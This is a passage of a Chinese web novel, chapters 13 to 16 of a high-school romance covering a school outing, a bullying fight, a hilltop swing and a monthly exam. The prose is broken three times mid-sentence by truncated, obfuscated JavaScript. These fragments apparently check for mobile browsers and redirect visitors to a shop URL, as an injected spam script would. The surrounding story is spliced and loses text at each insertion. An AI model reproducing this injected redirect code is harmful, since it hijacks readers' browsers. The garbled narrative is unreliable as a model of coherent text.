番茄与土豆在篮子里滚在一起打了会架就消停了,姜岁安“怒”斥他干嘛那么粗暴,蒋翼铭立马朝三人深鞠一躬,脸上却还是那副嬉皮笑脸的模样。 没等蒋翼铭把笑容收起来,方知言就突然卡在两人中间,催着姜岁安继续走。 下一个摊位的游戏是“简易数独”,摊位周边圈着好几坨学生,正对着一张方形的卡片激烈地讨论着。方知言站在桌前,双手撑在上面,右手食指有节奏地敲敲点点,几下就写完了答案。 姜岁安挤着脑袋站在他身旁,盯着他一眨一眨的眼眶和长长的睫毛。 两棵小白菜被方知言轻轻放入篮中,与蒋翼铭拌嘴了一路的夏静雯才发现方知言和姜岁安已经把游戏结束了。 她没再继续搭理蒋翼铭,一把抢过他手里的地图,上前挽着姜岁安,两人就这样蹦蹦跳跳地在前方领着路。 姜岁安的辫子像兔尾巴,低低地垂在脑后;夏静雯的辫子像马尾巴,高高地束在脑后。 方知言和蒋翼铭在后边跟着。 远远地,有处热闹吸引着女孩的脚步和目光,女孩的脚步和目光又吸引着男孩的脚步和目光。 禽类摊位的老师竟是李主任。 在方知言和姜岁安心里铁面无私的冷酷麻辣主任此时正热情地指挥着各个小组绑好脚上的绳子,雀跃地发号施令,像孩子里成熟但稚气未消的大姐大。 “来来来,拿绑带。”李主任招呼四人过去准备。 姜岁安取了三条弹力绑带,分给了夏静雯和方知言。夏静雯提议,她和姜岁安在中间,方知言和蒋翼铭分别在两侧,这样方便男生在队伍不稳的时候发力稳住重心。站定后,几人在还没束缚住脚的时候商量好了第一步迈哪只脚。 姜岁安先将自己的右脚与夏静雯的左脚绑好,夏静雯边数落边打趣地把自己的左脚和蒋翼铭的右脚绑上。方知言蹲下身子,有意收起自己放松状态下就会往外翘的小拇指,怕碰到姜岁安的脚踝。 他起身,姜岁安的碎发正拂向顺风的一侧,挠得他耳尖痒痒的、热热的,心也痒痒的、热热的。 “预备——”哨声一响,四人按照预定的计划抬脚,步子随着嘴里的“一二一”逐渐加快。方知言和蒋翼铭都是一米八的大高个,夏静雯的身高也有一米七五,速度一加快,姜岁安一米六的身体便被带得重心不稳。 姜岁安几乎整个人悠悠悬在空气里,方知言挽着她胳膊的手暗暗发力。 姜岁安从未感觉过五十米有那么长,长到冲过终点的刹那,人人的额间都沾上了湿湿的日光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276484|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她被架着,有些晃神——如果这是夏季,自己便能触碰他腕骨的温度。 就在她愣神的这段时间里,夏静雯已经低头将自己脚上的绑带解掉,前去拿鸡肉和鸡蛋了。 “姜岁安,走吧。”在自己身旁的方知言柔声道。 “好。”她唇角上扬,没有看他,跟了上去。 配料摊位的游戏也是一些简单的中英文翻译转换,对四人来说依旧没有任何难度。 他们很顺利地拿到了所有需要的食材。 …… 野炊地点铺设了许多的大木桩,那树桩年轮一圈一圈,还烙着许多斧痕。夏静雯在老家时见过爷爷奶奶砍柴,现在正学着他们的样子,先将斧沿浅浅嵌在小木桩的身沿,再连斧与木一并抬起,用巧劲将其劈成两半。 一旁的蒋翼铭连声叫好:“夏静雯功夫不减当年啊。” “那是。” “夸你两句别嘚瑟啊,快拿点来我生火了。”蒋翼铭举起领到的点火器,蹲在红砖砌成的简易灶台前,观察着已沾上草木灰的灶台内壁。 姜岁安在指挥方知言腌鸡肉:“料酒、盐、葱姜、生抽和老抽,嗯……再放点蚝油,对就是那个厚玻璃罐的那个。然后你就揉它。” 方知言的手指触碰到鸡肉的那一瞬间,陌生的触感激起了他一身的鸡皮疙瘩。 他生理性皱眉。 姜岁安抬起眼皮,嫌他动作太温柔,伸手就往铁盆里送,为鸡肉做起了马杀鸡。 他的手没来得及抽出来,被她的手一并按在肉和调料里,学着她的动作那般按压,无意触碰她温热的指节。 想到那有可能是鸡的关节,他干呕一声,差点反胃。 方知言其实并不能接受各种调料夹杂着未经温度处理的鸡肉的腥味,也不习惯鸡肉滑软又带着刺骨碾过他指尖的触感,甚至闻到鸡的骚味时,胃里直犯恶心——可姜岁安就这样站在他身边,不算聒噪,也不算安静。 “来吧,洗个手帮我切菜,”她愣了愣神,紧接道,“方知言,你耳朵冻红了,记得搽些保湿霜。” 她洗完手后,单手敲了四个鸡蛋,快速拿筷子搅散,“哒哒哒”的声音听起来十分激烈。她将油放在大铁锅里,等待温度上升时,一扭头就看到了脸上黑黑的蒋翼铭。 “哈哈哈哈哈蒋翼铭,你笑死我了。” 夏静雯闻声而来,在灶口边沾了一点煤灰,抓住蒋翼铭的胳膊,在他脸上画了六条线。“咪咪——” 蒋翼铭笑骂她“神经病”的时候,姜岁安正把蛋液倒了进去,“滋啦啦”的声音和鸡蛋的香味扑面而来。互掐的两人停止了动作,一致发出感叹。 姜岁安不知道他们到底在惊讶些啥,不好意思地笑了笑,往方知言那边看去,想观察他的反应,就看到了方知言手一滑,土豆被切飞了出去,他被划伤了手指。 “方知言——静雯你帮我翻翻鸡蛋,定型就盛到碗里,我去看看他。”她着急地说着,在夏静雯的手指触碰到锅铲的那一瞬间,快步走向方知言。 她抓起他的手腕,被菜刀割伤的口子正汩汩地向外冒着鹃色的血珠。 她掐住方知言食指的第一个指节,放在水龙头下用细小的水流冲洗着,眼见得滤嘴周围的水都染上了红。她让方知言擦干手,自己从背包里翻出了带着卡通头像的创口贴,细心地缠在他的指上。 “怎么这么不小心。”她怒嗔。 “抱歉。” “你小心点方知言,”蒋翼铭关心道,随即又用解释的语气说,“知言兄没下过厨房,我来替他切吧。姜岁安你去盯着锅吧,夏静雯会炸了厨房的。” 她急忙过去。 夏静雯在受到“批评”后十分不服气,关心了方知言后就去对蒋翼铭进行讨伐。 方知言像做错事的孩子一样站在她身边,被烟熏得睁不开眼也没走。 姜岁安呛道:“方知言,你站在这里拿点东西把这个烟帮我扇走,咳咳……我眼睛睁不开了。” 他这才发现,姜岁安是眯着眼睛做饭的。 于是照做。 此时,他的世界里好像只有她一个人——女孩上半身后仰着探手翻炒,锅铲与铁锅碰撞的声音不绝于耳,从排气口冒出的灰烟因微风而朝他们扑来,在半道又被自己手上的练习册扇退,如此斗争一番。 他面无表情地用余光偷看她——姜岁安耳根的红一点点蔓延开,直流向耳尖。 14. 同情的分寸(二) 下午的安排由各班自己组织,有些班级选择继续放养学生,有些班级选择集体出动。文二和方知言的新班级属于前者,文一属于后者。于是姜岁安与方知言对比夏静雯和蒋翼铭,此时显得格外自由。 夏静雯与蒋翼铭走时,她的心里泛起一阵失落的涟漪,本来感觉不深,可忧愁的水波越荡越远,直到荡到与姜岁安的心界相交。 “方知言,你会不会难过。”她没用疑问的口吻,而是轻轻地陈述。 她知道,他本该与他们一并走的。 姜岁安与他并肩,可这种满足并不足以填补胸腔里更大的空隙,她想要回到过去,可不该回到过去。 她把这矛盾原封不动地袒露给方知言听,希望他能予以解答,可他却对这有关哲学的思考犯了难。 鞋底踩响铺满路面的树叶,两人这才发现自己离主道已经很远了,可他们都不在意,依旧这般走着,走在一条只有轻微轧痕的径道。 半晌,姜岁安说:“可就算是刻舟求剑,那剑也依旧在水里,只是锈了去。有时候,我们在哪里不一样呢?距离会改变一些本就流动的东西,比如感情,但既然活生生的人还在这里,我们就应该享受我们的青春,而不去怀疑它的未来,也不必追溯它的过去……” 方知言没接话,于是两人默默走着。 姜岁安心里乱乱的。 他突然问:“这又是谁说的?” “姜岁安本安。” 方知言其实知道,这句子他看了太多遍——在那被父亲宣判死刑的作文上。 …… “上次你打我那事还没找你算账,今儿被我逮着了你真是好运气。” 姜岁安被一阵似有似无的声音打断了思绪,她循声望去,一个矮胖的身影在不远处张牙舞爪,咒骂声不断。 她猫下腰,勾勾手,示意方知言跟上自己。两颗头一上一下从老树后探出,陈峰刁难何佳的场面尽收眼底。 何佳明显不愿搭理他,被忽视的陈峰被她这副样子彻底惹恼,走向前一把掀翻了何佳练习册一旁的泡面。泡面的汤汁洒在了练习册一角,也泼在了何佳洗旧了的橘色毛衣上。 何佳一把抓起练习册,虽饥肠辘辘但也不再管那洒了一半的泡面,转身就要走,被陈峰抓住短发扯了回来。与被抓住辫子的感觉不同,短发被人揪住时,头皮被狠狠地拉起,发根却断不掉,疼得她倒吸一口凉气。何佳转头,抬起脚想要踩他,却被狠狠推了一把,摔在了草堆里,头差点撞到沾了鸟屎的石凳上。 “还觉得老子甲沟炎没好啊?吃泡面是因为没人跟你组队吧,一天天装清高给谁——” 姜岁安冲过去,方知言没拽住她,反而是她拽起陈峰的衣领用力一推,鄙夷道:“陈峰你是不是有病?” 方知言前去扶起何佳,等她直身站好后松开了拉着女孩瘦如柴的胳膊。何佳惊喜又愤怒地拉开了与他的距离,躲他比躲陈峰更快,像是躲瘟疫。她的骄傲不允许她在与姜岁安关系密切的人面前露怯,何况是被人窥见了自己最狼狈的一面。 方知言一扭头,姜岁安已经把陈峰扫翻的泡面桶扣在了他头上——汤汁带着面条一点点从他的头上往下滴,香精味混杂着他从薄羽绒中透出的体汗,直叫人恶心。陈峰咬牙切齿,拳头上的青筋凸起,再忍不住地一边喊着脏话,一边朝姜岁安扑来。 方知言冲上去,卡住陈峰矮胖的身体,可对方此时已经气红了眼,嘴里喊着一定要打死姜岁安这个“八婆”。他学过柔术,陈峰这种娇生惯养的赘肉娃被他一下按在地上。 他居高临下,面上没有一丝昔日的温顺,冷冷地说:“你如果真要打她,处分单上就不只有一条了。” “方知言你他妈管什么闲事?是不是脑残?草!啊啊啊——你知不知道……”陈峰目眦欲裂,脸上的五官在方知言用力拐他胳膊时吃痛地扭曲在一起。 姜岁安环胸,轻蔑地垂眼,突然做出一个“恍然大悟”的表情,张开嘴巴,娇俏地说:“知道什么,甲沟炎还是你爹?” “你知不知道我爸是谁”是这货的“免死金牌”,可显然,这种话对方知言的威慑力为零,他也只能唬唬何佳和姜岁安,可姜岁安和何佳也不吃这套。 “停——哪个校区哪个班的!住手!” 不知是哪个好事人物,见到姜岁安和方知言并排而行,以为抓到了小情侣,于是禀告了李主任。此时李主任站在那里,威严勒令方知言停手。 陈峰恶人先告状,一边鬼哭狼嚎一边颠倒因果。方知言咬咬牙,手上的力道加了几分,就听见姜岁安在一旁冷哼一声,平平道了一句:“那有监控,是谁的问题让它来判。” 那人依旧在他手下扭动如肥虫,方知言一松手,就“啪”地一声摊饼似的摔在了地上,哭着喊爹娘。 姜岁安心想:欺软怕硬的废物。 …… 监控室内,李主任看了眼手表,无可奈何地让方知言先离开去候场下午的誓师演讲。听着电脑中传出的不堪入耳的谩骂,她“啪”一声敲了键盘空格,让屏幕暂停在姜岁安倒扣泡面的画面上。 “陈峰,过来,给何佳道歉。” “李主任,我……你看我也是受害者……”他指着自己沾了泥巴的脸和被方知言扭过的胳膊,一脸无辜委屈。 姜岁安在一旁眉皱得扭曲,苦涩得像只发育不良的窝瓜,一瞄何佳神色平静,瘦黄的面上看不出特别的情绪。她想到运动会的那件事——真不知道何佳怎么对着这货的脸下手的。 “我说,道歉。”李主任强调。 “李主任……” “道歉!姜岁安和方知言动手,他们等下会跟你道歉的,也会有相应的处罚措施,这事不会欠你。但现在,请你给何佳道歉。”李主任耐心明显耗尽,声调不尖却宛若阵雨来前的潮湿克制。 他轻飘飘开口,生怕被别人听见:“对不起。” 李主任让他态度放端正一些,陈峰自知她与之前的主任不同,不怕官威也不怕惹事,于是朝着何佳九十度鞠躬并假意虔诚地说了句“抱歉”。 李主任缓缓开口,上下打量着陈峰和姜岁安:“你的行为已经到了霸凌的地步了,听你的说法,这事也不是第一次了吧,改天我会请你的家长来一趟学校。你自己准备一份两千字的检讨,下周前放在我办公室。其他时间,自己好好反省,多花点功夫在高考上就不会有心思对同学起歹念了。 “至于姜岁安,你与方知言的事情我不想追究,快高考了,我希望你们把握好男女交往的这个限度。而且,就算是出于正义,这样动手也是不对的,你也给陈峰道个歉,这事就结束了。” 陈峰内心狂吼她偏心。 此事告一段落,以李主任为陈峰打保票“我一定会让方知言给你道歉的”收场。 离开监控室,姜岁安疲惫又狼狈,枯叶被风卷起,落在她头上,已无人为其掸去。 何佳在她身后,颤着声带开口:“姜岁安,我不需要你的同情。你以为自己是英雄吗?你以为别人无时无刻都需要你吗?你觉得我会因为这样而对你愧疚吗?你真的很自大,很可笑。” “你觉得我做这些,是因为你是何佳吗?我犯不着冒着受处分的风险来羞辱你,你也不用上赶着自己羞辱自己。做这些只因为我是姜岁安,而你恰好是何佳。”姜岁安本来很生气,觉得何佳这人不分黑白、不可理喻,可正因为觉得她不可理喻,自己才懒得对她动怒。 又或许,一些事情并非对所有人来说是“白”,也并非对所有人来说是“黑”。 她将自己头上的叶子摘下,滞留了一影后背给被久久震撼的何佳。 何佳说,自己早在上学期就已经完全撇清对方知言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282969|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的歹念了——她说他与许多人都一样虚伪。 因为他有钱,这种底气给了他对谁都友好的权利,他的纯粹与清高将她的卑劣从阴沟里捞出来供太阳暴晒;他明明知道自己陷害姜岁安时的丑恶模样,却还是与她一样假情假意地帮助自己,来维持“正直”的形象。 她承认,曾经的心动可以称作“爱慕”,可如今她却对他也越来越嫉妒。 可她的心,还是会为方知言对姜岁安的亲切而隐隐作痛,还是会为方知言扶起自己的那一瞬间而雀跃。 她必须承认,自己有仇富的心理,对方知言的感情甚至比对姜岁安的感情更为复杂。 方知言为人低调勤恳,她认为这是她这样的人专属的特权,于是把他当成与自己相同的人。 可方知言的父亲却在开学典礼上西装革履、谈吐平淡地说出为校园捐款五十万的事情。 她恼怒的点在于“平淡”,在于自己手中的贫困生奖学金来自自己仰慕之人家庭的“施舍”。 当时她看着手中装着钱的信封,胃里翻江倒海。 阳光明媚,可暴雨蹉跎。 至于姜岁安,其实她心里知道,姜岁安从未做错过什么,她也不知道为什么自己总要迁怒于她。可如果她不把她放在对立面,她好像就失去了一个要拼命的理由,变成漂泊于浑潭中的一叶扁舟,不知会漂去哪里,不知能否到达终点。 这算什么? 何佳想:算她自作自受吧。 “算了,你们最好能骄傲一辈子。”她囔囔。 …… 回到班级队伍的姜岁安有些心不在焉,在班级风采展示的时候还差点念错了誓词。 即使是列队进行真正仪式,听到方知言那句“乾坤未定,你我皆是黑马”的老套话时,她心里也没有一丝波澜。 换作平时,无论有没有机会说,她都一定会在颅内整理好吐槽方知言的措辞。 何佳的话像一根刺一样扎在她心里,拔了会止不住血,不拔会持续作痛。 她说她自大又可笑。 姜岁安有些信了。 太阳渐渐落山了,暮云被其烧成铁锈遇水的彩色。写上了理想大学名字和高考心愿的金色气球一个个飞起——融进晚霞的、卡在树上的、撞在无人机叶片上被绞破的……学生们此时自主根据自己气球的命运,选择唯物还是唯心。 她与他都不知道,自己的气球会在空中的何处相逢。 有两只气球撞在一起,陪着对方向上爬。 一只上面写着——祝我!我一定会考上A大新闻系! 另一只上面写着——山高路远,顺遂如常,希望永恒,祝你祝我。 分校学生先行返校,三人前去与方知言告别。 “方知言,百天顺利,事事如意!”姜岁安起了个头,踮起脚揽住三人有预谋地大声朝他祝福。 方知言一怔,眼睛酸酸的,酸到嘴唇,又从下巴往下传,浑身触电般酥麻。 “姜岁安、蒋翼铭、夏静雯!心想事成!”他大喊,话出口后连自己都愣了一愣。 那是再平凡不过的一个春日。 没有落英缤纷,没有刺耳的“离别”。 回校的大巴车上,透过窗的心事和夜色般越来越厚。渐渐地,月光代替了路灯照亮疾行的车。方知言额头侧抵着冷冷的窗,眼神直盯着一处——天边的月亮好似近了许多,像是朦胧的鹅黄笔触慢慢干透,露出轮廓清晰的残月。 他今日的无心之语成为了如今心思的箴言。 【人有悲欢离合,月有阴晴圆缺,此事古难全。】 不过,与谁都是千里共婵娟。 …… 方知言深吸一口气——手上腌鸡的味道还未消失。 呕…… 他在这大巴车的劣质香水和皮革味中吐了。 15. 同情的分寸(三) 何佳把自己的气球放在了背包里,又把背包一直捧在怀里。回到宿舍,她把那只气球拿出来,上面空空如也。 一直以来,她努力的对象都是姜岁安,似乎从未给过自己一个属于自己的未来承诺。 姜岁安想考A大新闻学系是整个宿舍公知的事情。 她用油性笔在自己的气球上写下了与姜岁安同样的梦想,心中一股无名火扑面而来,她又将它捏爆。 “嘭!” 宿舍其他同学被吓了一跳,循声发现罪魁祸首是何佳,没有多说什么。 姜岁安知道她没吃中午饭,因为毕竟是自己毁了她的午餐,看样子,她应该也没吃晚饭,于是趁何佳去洗澡的时候塞了个面包在她枕头底下,以此来还上次纸巾的情。 …… 第二天,学校的通知栏上赫然挂着三个人的名字——陈峰、姜岁安、方知言。 汐城一中(锦绣校区)高三文科二班陈峰,多次对同学进行语言霸凌和肢体威胁,记过一次。 汐城一中(锦绣校区)高三文科二班姜岁安,与同学发生肢体冲突,鉴于意图正义,认错态度良好,予以口头警告。 汐城一中(愿海校区)高三文科一班方知言,与同学发生肢体冲突,鉴于意图正义,认错态度良好,予以口头警告。 请大家引以为戒,全力备战高考。 陈峰是被通报批评的老熟客了,同学们看见他的赫赫大名,只觉得正常,甚至觉得解气。 可这是大家第一次在在光荣榜以外的地方看到方知言和姜岁安两人的名字。 但至于那日究竟发生了什么,没有当事人愿意一说,大家也都心照不宣地避之不提。 姜岁安桌头的试卷以小时计算堆叠,越堆越高了,身下的书箱也都纸满为患。 她决定清理一下书柜,于是挑了一个班里没什么人的下午,在教室里大动干戈起来。 何佳屡屡回头瞪她,姜岁安也理亏,于是送了副耳塞给她。 经过那次事件之后,何佳嘴上说着姜岁安种种不是,但也却对她的态度有所好转。 何佳接过耳塞,说了声“谢”便继续刷题了。 姜岁安在断舍离中,摸到一个牛皮本,按理来说,自己应该是不会买这种封面极丑的笔记本的。 翻开那厚实的纸张,她看到了方知言端庄的小楷。 完了完了…… 他把自己数学的另一个笔记本落在这里了。 但转念一想,说白了,还是方知言自己粗心大意,这么重要的东西也不带走。 他真是粗心大意才落自己这里的吗——姜岁安反问自己。 姜岁安在周末的时候跟方知言说了这件事,对方似乎没有很惊讶的样子,略显兴奋地问:“那你怎么还给我呢?” 她说:“你要是急用,我现在就给你拿到书店,你要是不急,我就快递,不过看样子,你应该是不急着用的,不然也不会是由我来提这件事。” 方知言的声音从那头传来:“那我们重逢书店见。” 姜岁安还没回复,对方就挂了电话,好不客气。 姜岁安叹了口气,正收拾着摊在桌上的试卷和笔,无意间瞥见没看完的小说。 她想:关键时期,舍得了孩子才能套得着狼。 姜岁安快步出去。 末了,房门又被开启,那本还未合上的书被捎进一个温暖的臂弯里。 姜岁安这人,没什么特别的兴趣爱好,一身硬骨头,四岁跳舞都能韧带拉伤,对任何乐器也没有兴趣——就欢喜看些闲书和剧。 小学时就爱看言情玛丽苏和狗血电视剧,不求逻辑和文笔,只求男女主亲嘴时候的一刹那尖叫,可当漂亮的两张脸蛋日夜贴在一起之后,就会食之无味弃之可惜。 若是再加上一些婆媳关系和交通意外来制造矛盾,她就会两眼一黑、心肌结节、哭爹喊娘。 后来,因为言情剧本又土又单一,她觉得自己大概率是不喜欢这样喜庆的结局,于是爱上了悲剧,爱上了能供人怀疑和猜忌的结局——所以她的癖好就从言情小说转向杀人案,在案件里从关注猎奇到思考社会和人性。 她没骗方知言,自己总说喜欢听真话,想要真相和正义,并不出于什么亲身经历的故事或事故,而是无数个经由焦点访谈改编或名义上被封禁的电影案件原型——什么《十二怒汉》啦、辛普森杀妻案啦、张志超案啦——都是倒背如流的。 她觉得自己特别,因为敢怒敢言,但也知道自己很平凡,所以需要为平凡的人做些什么。 姜岁安每每这般解释给牛先生和姜女士的时候,夫妻俩都相视一笑,嘴里念叨“好好好”。 她嘴巴一瘪,眉毛一挑:“真的?” 牛先生说:“姑娘,你爸那么多优点,你怎么就继承了‘爱扯淡’这点呢?” 姜岁安先前还会跟他们怄气,到后面就习惯了。 就连初中写作文《我的理想》,她如实诚恳地挥毫千字,换来的却是语文老师冷漠的批阅——没逻辑。 她总想:英雄总是孤独的。 没想到,这么多年里,唯一没有质疑自己的人,居然是方知言。 方知言说,不管她的阐述多么离奇,他都会信的。 好吧,他打心底还是不相信。 姜岁安顿觉方知言与其他人也没什么不一样。 她踩着滑板游弋在巷子里,耳机里的歌声开得很小,怕突如其来的飞车党呼啸而过。 方知言比自己早到没几分钟。 她开门见山地把笔记本放在他面前,说了句寒暄的话:“好久不见。” 距离上次见面,应该过了一个多月。 方知言听她这话太官方,无意识地皱了皱眉,不曾想被姜岁安捕捉到这一举动。 姜岁安一屁股坐到他对面,双手托起下巴,手肘压在原木打磨得光滑的桌子上:“皱眉显□□惯不好。” 她见方知言被自己说动,于是伸手用食指在他的眉间打旋儿。 方知言愣了几秒,而后触电般躲过身,留下姜岁安的手滞留在空气里,尴尬想要收回,又轻轻与他的眉心相印。 那是恍惚一瞬间的事。 姜岁安甚至没有看清,是自己的手往前迈了几寸,还是他的脸向自己靠近。 方知言咳了几声,修长的手指把按动笔的键帽在桌上按得啪嗒响,眉眼微垂,让人看不清神色。 姜岁安只觉他有些慌张。 也有可能,是自己的心跳在慌张。 他们心照不宣地拿出英语卷子,姜岁安放了一只闹钟在桌旁,按下计时的那一瞬间,两人不再玩笑。 姜岁安期间惯性般抬眼偷看过方知言的进度,一次,就很巧地被他那双湖水般清澈的双眼捉到。 方知言说:“凑巧而已。” 姜岁安的手指从上划到下,眨眨眼睛,突然兴奋起来:“方知言,我客观题满分,小胜一手。” 他心里怔了一下,因为知道自己完形填空有一题与她不一样,面上平静,说:“是吗,真厉害。” 姜岁安说:“你……不高兴吗?” “没有。” 她轻快地脱口而出:“对不起。” 方知言没说话,瞳孔里闪着波澜,余光温润缠绵地黏在她的睫毛上。 姜岁安心底一沉,见他这副模样,忍俊不禁:“你还真为这个生气了呀,”她把脸侧趴在卷子,像一只慵懒的长毛猫,伸个懒腰,在他的心里踩了一遭,最后舔着爪子,用刻意的语气调戏道,“方知言,大方点嘛。” 她望着他的脸,听见他说“本来也没生气”。 姜岁安问:“在那边压力很大吗?” 他摇摇头,说:“没你们跟我竞争,甚至有些无聊。” 姜岁安一眼看穿他,灵光一现,神神秘秘地说:“带你去个地方。” 方知言将信将疑,还是把文具和卷子都收了起来,放在背包里。姜岁安忽然瞟见他位置上有一份看起来陌生的卷子,伸手拽住他正在收拾的爪子,问:“这是什么?” 男孩凝神低头,说是他们那边重点班的小测数学考卷,见她一副小猫见鱼的样子,回应道:“回头发你一份。” 姜岁安松开了他的手,待方知言挎上包,十分满意地拽着他的袖子下了楼。 姜岁安带着他绕过几个巷子,爬了十几分钟楼梯,又走过一条长长的木桥——一座舒缓的丘陵顶,名叫“流浪者山”,却与山丝毫沾不上边,只长着一棵樱花树,樱花树干吊着两条粗粗的麻绳,麻绳捆着一块木板。 姜岁安和方知言测算过了,这树干要两人才能合抱,树冠撑开,像一片淡粉色的云。 汐城一半丘陵、一半平原、一片海,几泊湖。是春末了,正午刚过,花开得有些慵懒,颜色也褪去了初绽时的浓烈,透着近乎白的粉。风从丘下缓坡的草尖上拂上来时,总是先闻到泥土和情操被晒暖的气味,然后,抬头就能看见满树的花轻轻一颤。 姜岁安单手一扫木板上的花瓣,坐上去,裤子湮了两瓣湿也也毫不在意,热情地招呼着方知言过来。 他很识趣,站在她身后,抓着绳子将她往外推。 这里风景很好,能看到半个汐城,眼神再好一点,能看到愿海和海中心的小岛。 “你是怎么能找到这么清净的地方的?” “开玩笑,我可是地道老汐城人,”姜岁安突然改了口音,听见正在吹风闻花的方知言的笑声,便问,“你不是本地人?” 方知言说他是在港城出生的,后来才来到汐城,祖上户籍辗转复杂,落叶不知归根在哪儿。 他说,是因为父亲觉得汐城是个适合做生意的地方,所以他们在这里定居。 他一边送她往天边外,一边又护送她从云端回到自己怀里,闻她发间传来的香气,问:“未来,你会想离开这里,去更大的城市发展吗?” “水都能逆流,人当然要往高处走!我小学就在镇报纸上发过诗歌,初中博览群书,高中征文得了全省的一等奖,将来定是要走向汐城日报、再走向人民日报,再走向国际,到《TIME》的大楼里坐着去! “方知言,我知道你可能觉得我异想天开,但是,我会让你看见,姜岁安的鼎鼎大名开在群山烂漫里!” 方知言被她突如其来的打鸡血吓了一身鸡皮疙瘩,听完姜岁安的慷慨陈词,默默叹息,突然停止了推她的动作,转而盘腿坐在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她偷偷垂眸往那边看去,方知言脱了帽衫,只留一件薄薄的打底衣,紧紧贴着他的身体。他像条蛇一样扭了扭身体,反手摸上自己的后背,露出精瘦的腰。 姜岁安不知道为什么,突然觉得自己像一个偷看心上人的寡妇鳏夫,不敢回头,又惶恐深陷其中。 作为遵纪守法不破坏公序良俗的好公民,她没谈过恋爱,当然也不会直勾勾盯着人同样恋爱都没谈过的良家少男,但是想想总是可以的吧。 那不叫想想,叫,想象。 最后是方知言的手在自己的面前晃,姜岁安才收回思绪。 她怔怔一问:“你真不喊吗?” 他说:“你这一套不适合我,”继而补充,“不过姜岁安,谢谢你。” “人们说,站得高才能望得远,我想说的是,你已经够高了——而且很帅。你不用给自己那么大的压力,把自己的背压驼了,还得重新长高呢。 “当然,能给你压力,是我的荣幸。” 姜岁安起身,单膝半跪,右手折在胸前,行了个骑士礼,虔诚朝他低头。 风过,午后暖洋洋的阳光透过叶子的罅隙洒在她飘扬的发丝上。 于是,花瓣又落下来了,纷纷扰扰。 他们后来没再聊学习,聊得东西太杂,以至于姜岁安一回家就忘了。 她只记得,是方知言先跟自己告了别。 在山脚下商业街的大道上。 他说:“高考加油。” 这天距考试还有七十二天。 姜岁安愣了愣,回赠那台黑色轿车的背影:“高考加油!”而后勾着唇角踩着滑板,将鸭舌帽的帽檐压过眉,脚蹬地面,回了家。 街道两侧的晚樱本开得烂漫,却因为前几日的雨被打落许多。环卫工人没来得及清扫的地方躺着浪漫的狼藉,小猫从灌木丛中窜出来扑着花瓣玩耍。 滑板轱辘轧过片片粉白,空气加速度撩动少女齐肩未扎的短发。 方知言在汽车改道后隔着逆方向的车道与她四目相对,可她的身影匆匆掠过,可余光里,她的身影并未走远。 他想:姜岁安逆行了。 方知言脸色阴沉,从后视镜里看到了鲁叔那双欲要说话的眼睛。 他皱了皱眉,想到姜岁安那句突然押韵的“皱眉显□□惯不好”,伸出手按了按眉心,冷冷开口:“鲁叔,你为什么要和他说我的私事,”见他想要为自己辩解,方知言后知自己的提问没有任何意义,于是说,“算了,您也别告诉我了。” “小言,大人有大人的道理。” 方知言不理他了。 不知是鲁叔没有把自己约见姜岁安的事说给父亲听,还是父亲觉得自己的成绩没受影响,又或者是临近高考他们不想破坏自己的心情,总之——方知言并没有像上次那样在饭桌上被批斗。 在分校的日子里,如他所说,些许无聊。 除了写试卷就是刷题,偶尔到操场跑跑步、打打球,与同学们保持近乎一致的社交距离,没有绯闻也没有交情。 他后来也没什么机会再见姜岁安,因为不知为何,锦绣校区有一次多连了一周,他们放假的时间刚好就错开了。 一晃眼,就又上了考场。 16. 同情的分寸(四) 半个月后,汐城一中锦绣校区的月考的考场上,姜岁安刚将风油精涂在唇鼻之间,眼神锚定卷面刚聚焦的那一刻,就倒吸一口凉气——这张卷子是方知言在重逢书店给自己看的那张! 她特意翻到了试卷的背面,就连压轴题也都一模一样。 数据呢? 她睁大眼睛,指甲划在墨印的字符之下,仔细对比着记忆里的题目。 哦,一样的。 姜岁安心底扬起一阵惊喜,但又有些忐忑,所以即使在方知言给自己讲过一遍概率压轴并且自己也理解的情况下,还是故意放弃了最后两道大题的最后一问。 试卷收上去的最后一刻,整栋楼突然跳了闸,天边的云霞红霓漫入教室,映在姜岁安的瞳孔里。最近总是跳闸,姜岁安在心里吐槽了学校的设施老化问题,起身准备回班。椅子擦过地板的声音不绝,人群如同迁徙一般,纷纷回到自己的班级里,放下笔袋和试卷,直奔食堂。 姜岁安在冲去食堂的路上遇到了夏静雯,她正想开口告诉她自己刷题刷上原题的事,却在周围同学愤愤的怨声载道中适时闭上了嘴。夏静雯看出她心神不宁,挽着她的手臂,说:“蒋翼铭打听到今天食堂吃鸡腿,我们赶紧去,别想那些糟心事了!” 她被夏静雯这个长跑冠军拖着,有苦说不出,直到进入食堂的时候鸡腿窗口只有零星几人,才由衷感谢她的“鞭策”。 熟了之后,姜岁安才发现夏静雯其实人不如名。 此时此刻,这个被许多学妹们奉为天使学姐的女孩,正不顾形象地一手一个手枪鸡腿,左一口右一口地吃了起来。 